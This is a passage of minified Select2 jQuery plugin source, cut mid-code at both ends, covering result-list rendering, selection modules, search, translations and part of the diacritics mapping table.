t[e]})},r.appendMany=function(e,t){if("1.7"===o.fn.jquery.substr(0,3)){var n=o();o.map(t,function(e){n=n.add(e)}),t=n}e.append(t)},r.__cache={};var n=0;return r.GetUniqueElementId=function(e){var t=e.getAttribute("data-select2-id");return null==t&&(e.id?(t=e.id,e.setAttribute("data-select2-id",t)):(e.setAttribute("data-select2-id",++n),t=n.toString())),t},r.StoreData=function(e,t,n){var i=r.GetUniqueElementId(e);r.__cache[i]||(r.__cache[i]={}),r.__cache[i][t]=n},r.GetData=function(e,t){var n=r.GetUniqueElementId(e);return t?r.__cache[n]&&null!=r.__cache[n][t]?r.__cache[n][t]:o(e).data(t):r.__cache[n]},r.RemoveData=function(e){var t=r.GetUniqueElementId(e);null!=r.__cache[t]&&delete r.__cache[t],e.removeAttribute("data-select2-id")},r}),e.define("select2/results",["jquery","./utils"],function(h,f){function i(e,t,n){this.$element=e,this.data=n,this.options=t,i.__super__.constructor.call(this)}return f.Extend(i,f.Observable),i.prototype.render=function(){var e=h('<ul class="select2-results__options" role="listbox"></ul>');return this.options.get("multiple")&&e.attr("aria-multiselectable","true"),this.$results=e},i.prototype.clear=function(){this.$results.empty()},i.prototype.displayMessage=function(e){var t=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var n=h('<li role="alert" aria-live="assertive" class="select2-results__option"></li>'),i=this.options.get("translations").get(e.message);n.append(t(i(e.args))),n[0].className+=" select2-results__message",this.$results.append(n)},i.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},i.prototype.append=function(e){this.hideLoading();var t=[];if(null!=e.results&&0!==e.results.length){e.results=this.sort(e.results);for(var n=0;n<e.results.length;n++){var i=e.results[n],r=this.option(i);t.push(r)}this.$results.append(t)}else 0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"})},i.prototype.position=function(e,t){t.find(".select2-results").append(e)},i.prototype.sort=function(e){return this.options.get("sorter")(e)},i.prototype.highlightFirstItem=function(){var e=this.$results.find(".select2-results__option[aria-selected]"),t=e.filter("[aria-selected=true]");0<t.length?t.first().trigger("mouseenter"):e.first().trigger("mouseenter"),this.ensureHighlightVisible()},i.prototype.setClasses=function(){var t=this;this.data.current(function(e){var i=h.map(e,function(e){return e.id.toString()});t.$results.find(".select2-results__option[aria-selected]").each(function(){var e=h(this),t=f.GetData(this,"data"),n=""+t.id;null!=t.element&&t.element.selected||null==t.element&&-1<h.inArray(n,i)?e.attr("aria-selected","true"):e.attr("aria-selected","false")})})},i.prototype.showLoading=function(e){this.hideLoading();var t={disabled:!0,loading:!0,text:this.options.get("translations").get("searching")(e)},n=this.option(t);n.className+=" loading-results",this.$results.prepend(n)},i.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},i.prototype.option=function(e){var t=document.createElement("li");t.className="select2-results__option";var n={role:"option","aria-selected":"false"},i=window.Element.prototype.matches||window.Element.prototype.msMatchesSelector||window.Element.prototype.webkitMatchesSelector;for(var r in(null!=e.element&&i.call(e.element,":disabled")||null==e.element&&e.disabled)&&(delete n["aria-selected"],n["aria-disabled"]="true"),null==e.id&&delete n["aria-selected"],null!=e._resultId&&(t.id=e._resultId),e.title&&(t.title=e.title),e.children&&(n.role="group",n["aria-label"]=e.text,delete n["aria-selected"]),n){var o=n[r];t.setAttribute(r,o)}if(e.children){var s=h(t),a=document.createElement("strong");a.className="select2-results__group";h(a);this.template(e,a);for(var l=[],c=0;c<e.children.length;c++){var u=e.children[c],d=this.option(u);l.push(d)}var p=h("<ul></ul>",{class:"select2-results__options select2-results__options--nested"});p.append(l),s.append(a),s.append(p)}else this.template(e,t);return f.StoreData(t,"data",e),t},i.prototype.bind=function(t,e){var l=this,n=t.id+"-results";this.$results.attr("id",n),t.on("results:all",function(e){l.clear(),l.append(e.data),t.isOpen()&&(l.setClasses(),l.highlightFirstItem())}),t.on("results:append",function(e){l.append(e.data),t.isOpen()&&l.setClasses()}),t.on("query",function(e){l.hideMessages(),l.showLoading(e)}),t.on("select",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("unselect",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("open",function(){l.$results.attr("aria-expanded","true"),l.$results.attr("aria-hidden","false"),l.setClasses(),l.ensureHighlightVisible()}),t.on("close",function(){l.$results.attr("aria-expanded","false"),l.$results.attr("aria-hidden","true"),l.$results.removeAttr("aria-activedescendant")}),t.on("results:toggle",function(){var e=l.getHighlightedResults();0!==e.length&&e.trigger("mouseup")}),t.on("results:select",function(){var e=l.getHighlightedResults();if(0!==e.length){var t=f.GetData(e[0],"data");"true"==e.attr("aria-selected")?l.trigger("close",{}):l.trigger("select",{data:t})}}),t.on("results:previous",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e);if(!(n<=0)){var i=n-1;0===e.length&&(i=0);var r=t.eq(i);r.trigger("mouseenter");var o=l.$results.offset().top,s=r.offset().top,a=l.$results.scrollTop()+(s-o);0===i?l.$results.scrollTop(0):s-o<0&&l.$results.scrollTop(a)}}),t.on("results:next",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e)+1;if(!(n>=t.length)){var i=t.eq(n);i.trigger("mouseenter");var r=l.$results.offset().top+l.$results.outerHeight(!1),o=i.offset().top+i.outerHeight(!1),s=l.$results.scrollTop()+o-r;0===n?l.$results.scrollTop(0):r<o&&l.$results.scrollTop(s)}}),t.on("results:focus",function(e){e.element.addClass("select2-results__option--highlighted")}),t.on("results:message",function(e){l.displayMessage(e)}),h.fn.mousewheel&&this.$results.on("mousewheel",function(e){var t=l.$results.scrollTop(),n=l.$results.get(0).scrollHeight-t+e.deltaY,i=0<e.deltaY&&t-e.deltaY<=0,r=e.deltaY<0&&n<=l.$results.height();i?(l.$results.scrollTop(0),e.preventDefault(),e.stopPropagation()):r&&(l.$results.scrollTop(l.$results.get(0).scrollHeight-l.$results.height()),e.preventDefault(),e.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[aria-selected]",function(e){var t=h(this),n=f.GetData(this,"data");"true"!==t.attr("aria-selected")?l.trigger("select",{originalEvent:e,data:n}):l.options.get("multiple")?l.trigger("unselect",{originalEvent:e,data:n}):l.trigger("close",{})}),this.$results.on("mouseenter",".select2-results__option[aria-selected]",function(e){var t=f.GetData(this,"data");l.getHighlightedResults().removeClass("select2-results__option--highlighted"),l.trigger("results:focus",{data:t,element:h(this)})})},i.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},i.prototype.destroy=function(){this.$results.remove()},i.prototype.ensureHighlightVisible=function(){var e=this.getHighlightedResults();if(0!==e.length){var t=this.$results.find("[aria-selected]").index(e),n=this.$results.offset().top,i=e.offset().top,r=this.$results.scrollTop()+(i-n),o=i-n;r-=2*e.outerHeight(!1),t<=2?this.$results.scrollTop(0):(o>this.$results.outerHeight()||o<0)&&this.$results.scrollTop(r)}},i.prototype.template=function(e,t){var n=this.options.get("templateResult"),i=this.options.get("escapeMarkup"),r=n(e,t);null==r?t.style.display="none":"string"==typeof r?t.innerHTML=i(r):h(t).append(r)},i}),e.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),e.define("select2/selection/base",["jquery","../utils","../keys"],function(n,i,r){function o(e,t){this.$element=e,this.options=t,o.__super__.constructor.call(this)}return i.Extend(o,i.Observable),o.prototype.render=function(){var e=n('<span class="select2-selection" role="combobox"  aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=i.GetData(this.$element[0],"old-tabindex")?this._tabindex=i.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),e.attr("title",this.$element.attr("title")),e.attr("tabindex",this._tabindex),e.attr("aria-disabled","false"),this.$selection=e},o.prototype.bind=function(e,t){var n=this,i=e.id+"-results";this.container=e,this.$selection.on("focus",function(e){n.trigger("focus",e)}),this.$selection.on("blur",function(e){n._handleBlur(e)}),this.$selection.on("keydown",function(e){n.trigger("keypress",e),e.which===r.SPACE&&e.preventDefault()}),e.on("results:focus",function(e){n.$selection.attr("aria-activedescendant",e.data._resultId)}),e.on("selection:update",function(e){n.update(e.data)}),e.on("open",function(){n.$selection.attr("aria-expanded","true"),n.$selection.attr("aria-owns",i),n._attachCloseHandler(e)}),e.on("close",function(){n.$selection.attr("aria-expanded","false"),n.$selection.removeAttr("aria-activedescendant"),n.$selection.removeAttr("aria-owns"),n.$selection.trigger("focus"),n._detachCloseHandler(e)}),e.on("enable",function(){n.$selection.attr("tabindex",n._tabindex),n.$selection.attr("aria-disabled","false")}),e.on("disable",function(){n.$selection.attr("tabindex","-1"),n.$selection.attr("aria-disabled","true")})},o.prototype._handleBlur=function(e){var t=this;window.setTimeout(function(){document.activeElement==t.$selection[0]||n.contains(t.$selection[0],document.activeElement)||t.trigger("blur",e)},1)},o.prototype._attachCloseHandler=function(e){n(document.body).on("mousedown.select2."+e.id,function(e){var t=n(e.target).closest(".select2");n(".select2.select2-container--open").each(function(){this!=t[0]&&i.GetData(this,"element").select2("close")})})},o.prototype._detachCloseHandler=function(e){n(document.body).off("mousedown.select2."+e.id)},o.prototype.position=function(e,t){t.find(".selection").append(e)},o.prototype.destroy=function(){this._detachCloseHandler(this.container)},o.prototype.update=function(e){throw new Error("The `update` method must be defined in child classes.")},o.prototype.isEnabled=function(){return!this.isDisabled()},o.prototype.isDisabled=function(){return this.options.get("disabled")},o}),e.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(e,t,n,i){function r(){r.__super__.constructor.apply(this,arguments)}return n.Extend(r,t),r.prototype.render=function(){var e=r.__super__.render.call(this);return e.addClass("select2-selection--single"),e.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),e},r.prototype.bind=function(t,e){var n=this;r.__super__.bind.apply(this,arguments);var i=t.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",i).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",i),this.$selection.on("mousedown",function(e){1===e.which&&n.trigger("toggle",{originalEvent:e})}),this.$selection.on("focus",function(e){}),this.$selection.on("blur",function(e){}),t.on("focus",function(e){t.isOpen()||n.$selection.trigger("focus")})},r.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},r.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},r.prototype.selectionContainer=function(){return e("<span></span>")},r.prototype.update=function(e){if(0!==e.length){var t=e[0],n=this.$selection.find(".select2-selection__rendered"),i=this.display(t,n);n.empty().append(i);var r=t.title||t.text;r?n.attr("title",r):n.removeAttr("title")}else this.clear()},r}),e.define("select2/selection/multiple",["jquery","./base","../utils"],function(r,e,l){function n(e,t){n.__super__.constructor.apply(this,arguments)}return l.Extend(n,e),n.prototype.render=function(){var e=n.__super__.render.call(this);return e.addClass("select2-selection--multiple"),e.html('<ul class="select2-selection__rendered"></ul>'),e},n.prototype.bind=function(e,t){var i=this;n.__super__.bind.apply(this,arguments),this.$selection.on("click",function(e){i.trigger("toggle",{originalEvent:e})}),this.$selection.on("click",".select2-selection__choice__remove",function(e){if(!i.isDisabled()){var t=r(this).parent(),n=l.GetData(t[0],"data");i.trigger("unselect",{originalEvent:e,data:n})}})},n.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},n.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},n.prototype.selectionContainer=function(){return r('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation">&times;</span></li>')},n.prototype.update=function(e){if(this.clear(),0!==e.length){for(var t=[],n=0;n<e.length;n++){var i=e[n],r=this.selectionContainer(),o=this.display(i,r);r.append(o);var s=i.title||i.text;s&&r.attr("title",s),l.StoreData(r[0],"data",i),t.push(r)}var a=this.$selection.find(".select2-selection__rendered");l.appendMany(a,t)}},n}),e.define("select2/selection/placeholder",["../utils"],function(e){function t(e,t,n){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n)}return t.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},t.prototype.createPlaceholder=function(e,t){var n=this.selectionContainer();return n.html(this.display(t)),n.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),n},t.prototype.update=function(e,t){var n=1==t.length&&t[0].id!=this.placeholder.id;if(1<t.length||n)return e.call(this,t);this.clear();var i=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(i)},t}),e.define("select2/selection/allowClear",["jquery","../keys","../utils"],function(r,i,a){function e(){}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(e){i._handleClear(e)}),t.on("keypress",function(e){i._handleKeyboardClear(e,t)})},e.prototype._handleClear=function(e,t){if(!this.isDisabled()){var n=this.$selection.find(".select2-selection__clear");if(0!==n.length){t.stopPropagation();var i=a.GetData(n[0],"data"),r=this.$element.val();this.$element.val(this.placeholder.id);var o={data:i};if(this.trigger("clear",o),o.prevented)this.$element.val(r);else{for(var s=0;s<i.length;s++)if(o={data:i[s]},this.trigger("unselect",o),o.prevented)return void this.$element.val(r);this.$element.trigger("input").trigger("change"),this.trigger("toggle",{})}}}},e.prototype._handleKeyboardClear=function(e,t,n){n.isOpen()||t.which!=i.DELETE&&t.which!=i.BACKSPACE||this._handleClear(t)},e.prototype.update=function(e,t){if(e.call(this,t),!(0<this.$selection.find(".select2-selection__placeholder").length||0===t.length)){var n=this.options.get("translations").get("removeAllItems"),i=r('<span class="select2-selection__clear" title="'+n()+'">&times;</span>');a.StoreData(i[0],"data",t),this.$selection.find(".select2-selection__rendered").prepend(i)}},e}),e.define("select2/selection/search",["jquery","../utils","../keys"],function(i,a,l){function e(e,t,n){e.call(this,t,n)}return e.prototype.render=function(e){var t=i('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></li>');this.$searchContainer=t,this.$search=t.find("input");var n=e.call(this);return this._transferTabIndex(),n},e.prototype.bind=function(e,t,n){var i=this,r=t.id+"-results";e.call(this,t,n),t.on("open",function(){i.$search.attr("aria-controls",r),i.$search.trigger("focus")}),t.on("close",function(){i.$search.val(""),i.$search.removeAttr("aria-controls"),i.$search.removeAttr("aria-activedescendant"),i.$search.trigger("focus")}),t.on("enable",function(){i.$search.prop("disabled",!1),i._transferTabIndex()}),t.on("disable",function(){i.$search.prop("disabled",!0)}),t.on("focus",function(e){i.$search.trigger("focus")}),t.on("results:focus",function(e){e.data._resultId?i.$search.attr("aria-activedescendant",e.data._resultId):i.$search.removeAttr("aria-activedescendant")}),this.$selection.on("focusin",".select2-search--inline",function(e){i.trigger("focus",e)}),this.$selection.on("focusout",".select2-search--inline",function(e){i._handleBlur(e)}),this.$selection.on("keydown",".select2-search--inline",function(e){if(e.stopPropagation(),i.trigger("keypress",e),i._keyUpPrevented=e.isDefaultPrevented(),e.which===l.BACKSPACE&&""===i.$search.val()){var t=i.$searchContainer.prev(".select2-selection__choice");if(0<t.length){var n=a.GetData(t[0],"data");i.searchRemoveChoice(n),e.preventDefault()}}}),this.$selection.on("click",".select2-search--inline",function(e){i.$search.val()&&e.stopPropagation()});var o=document.documentMode,s=o&&o<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(e){s?i.$selection.off("input.search input.searchcheck"):i.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(e){if(s&&"input"===e.type)i.$selection.off("input.search input.searchcheck");else{var t=e.which;t!=l.SHIFT&&t!=l.CTRL&&t!=l.ALT&&t!=l.TAB&&i.handleSearch(e)}})},e.prototype._transferTabIndex=function(e){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},e.prototype.createPlaceholder=function(e,t){this.$search.attr("placeholder",t.text)},e.prototype.update=function(e,t){var n=this.$search[0]==document.activeElement;this.$search.attr("placeholder",""),e.call(this,t),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),n&&this.$search.trigger("focus")},e.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var e=this.$search.val();this.trigger("query",{term:e})}this._keyUpPrevented=!1},e.prototype.searchRemoveChoice=function(e,t){this.trigger("unselect",{data:t}),this.$search.val(t.text),this.handleSearch()},e.prototype.resizeSearch=function(){this.$search.css("width","25px");var e="";""!==this.$search.attr("placeholder")?e=this.$selection.find(".select2-selection__rendered").width():e=.75*(this.$search.val().length+1)+"em";this.$search.css("width",e)},e}),e.define("select2/selection/eventRelay",["jquery"],function(s){function e(){}return e.prototype.bind=function(e,t,n){var i=this,r=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"],o=["opening","closing","selecting","unselecting","clearing"];e.call(this,t,n),t.on("*",function(e,t){if(-1!==s.inArray(e,r)){t=t||{};var n=s.Event("select2:"+e,{params:t});i.$element.trigger(n),-1!==s.inArray(e,o)&&(t.prevented=n.isDefaultPrevented())}})},e}),e.define("select2/translation",["jquery","require"],function(t,n){function i(e){this.dict=e||{}}return i.prototype.all=function(){return this.dict},i.prototype.get=function(e){return this.dict[e]},i.prototype.extend=function(e){this.dict=t.extend({},e.all(),this.dict)},i._cache={},i.loadPath=function(e){if(!(e in i._cache)){var t=n(e);i._cache[e]=t}return new i(i._cache[e])},i}),e.define("select2/diacritics",[],function(){return{"Ⓐ":"A","Ａ":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","Ｂ":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","Ｃ":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","Ｄ":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","Ǳ":"DZ","Ǆ":"DZ","ǲ":"Dz","ǅ":"Dz","Ⓔ":"E","Ｅ":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","Ｆ":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","Ｇ":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","Ｈ":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","Ｉ":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","Ｊ":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","Ｋ":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","Ｌ":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","Ǉ":"LJ","ǈ":"Lj","Ⓜ":"M","Ｍ":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","Ｎ":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","Ǌ":"NJ","ǋ":"Nj","Ⓞ":"O","Ｏ":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Œ":"OE","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","Ｐ":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Ｑ":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","Ｒ":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","Ｓ":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","Ｔ":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","Ｕ":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","Ｖ":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","Ｗ":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","Ｘ":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Ｙ":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Ｚ":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","ａ":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","ｂ":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","ｃ":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","ｄ":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","ǳ":"dz","ǆ":"dz","ⓔ":"e","ｅ":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","ｆ":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","ｇ":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","ｈ":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","ｉ":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","ｊ":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","ｋ":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","ｌ":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","ǉ":"lj","ⓜ":"m","ｍ":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","ｎ":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ŉ":"n","ꞑ":"n","ꞥ":"n","ǌ":"nj","ⓞ":"o","ｏ":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","œ":"oe","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","ｐ":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","ｑ":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","ｒ":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","ｓ":"s","ß":"